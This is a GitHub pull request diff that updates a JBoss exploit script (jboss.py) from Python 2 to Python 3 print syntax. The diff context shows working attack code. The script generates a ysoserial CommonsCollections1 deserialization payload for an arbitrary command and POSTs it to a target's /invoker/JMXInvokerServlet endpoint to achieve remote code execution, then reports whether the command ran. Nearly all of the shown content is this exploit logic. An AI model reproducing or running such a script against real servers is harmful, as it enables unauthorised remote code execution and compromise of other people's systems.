Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 6 additions & 6 deletions JBoss/jboss.py
Original file line number Diff line number Diff line change
Expand Up @@ -36,26 +36,26 @@
ysoserial_path = args.ysoserial_path

if ysoserial_path is None:
print '[-] Could not find ysoserial JAR file'
print ('[-] Could not find ysoserial JAR file')
sys.exit(1)

if len(args.target.split(":")) != 2:
print '[-] Target must be in format IP:PORT'
print ('[-] Target must be in format IP:PORT')
sys.exit(1)

if not args.command:
print '[-] You must specify a command to run'
print ('[-] You must specify a command to run')
sys.exit(1)

ip, port = args.target.split(':')

print '[*] Target IP: {}'.format(ip)
print '[*] Target PORT: {}'.format(port)
print ('[*] Target IP: {}'.format(ip))
print ('[*] Target PORT: {}'.format(port))

gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])

r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)

if r.status_code == 200:
print '[+] Command executed successfully'
print ('[+] Command executed successfully')